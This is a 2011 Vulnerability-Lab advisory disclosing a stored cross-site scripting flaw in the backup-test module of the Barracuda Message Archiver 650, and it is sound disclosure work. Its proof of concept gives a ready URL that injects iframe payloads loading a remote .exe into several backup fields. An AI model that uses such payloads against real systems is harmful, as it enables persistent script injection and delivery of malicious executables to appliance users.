Document Title: =============== Barracuda Archiver 650 - Input Validation Vulnerability Date: ===== 2011-11-03 References: =========== http://www.vulnerability-lab.com/get_content.php?id=34 VL-ID: ===== 34 Introduction: ============= The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive. * Comprehensive archiving * Exchange stubbing * Search and retrieval * Policy management * Intelligent Storage Manager * Roles-based interface * Reporting and statistics The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform to protect against any potential security vulnerabilities. (Copy of the Vendor Homepage: http://www.barracudanetworks.com/) Abstract: ========= Vulnerability-lab Team discovered multiple Input Validation Vulnerabilities on Barracudas - Message Archiver 650 (Appliance). Report-Timeline: ================ 2011-05-09: Vendor Notification 2011-06-02: Vendor Response/Feedback 2011-09-01: Vendor Fix/Patch 2011-11-04: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent Input Validation vulnerability is detected on Barracudas Message Archiver 650 . Local low privileged user account can implement/inject malicious persistent script code. When exploited by an authenticated user, the identified vulnerability can lead to information disclosure, access to intranet available servers, manipulated persistent content. Vulnerable Module(s): [+] Configuration Backup => Backup Test Proof of Concept: ================= The vulnerabilities can be exploited by low privileged user accounts or remote via high user inter-action. Manually reproduce ... 1. Login 2. Switch to the vulnerable module of the application 3. Include your own script code. Save! 4. Enjoy the persistent output results Server: archiver.barracuda.com File: index.cgi Para: ?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username= ... &&backup_password= References(URL): http://archiver.xxx.com/cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E% 22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E% 22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//global- evolution.info/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad- example.exe%20width%3D800%20height%3D800%3E&&user=guest&&password=164ddc8feaa60cb4263cd93279e2c114&&et=1261213168&&locale=en_US Source Review:
Picture(s): ../ive1.png ../ive2.png Solution: ========= 2011-09-01: Vendor Fix/Patch Risk: ===== The security risk of the discovered persistent vulnerability is estimated as medium(-). Credits: ======== Vulnerability Research Laboratory - N/A Anonymous Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory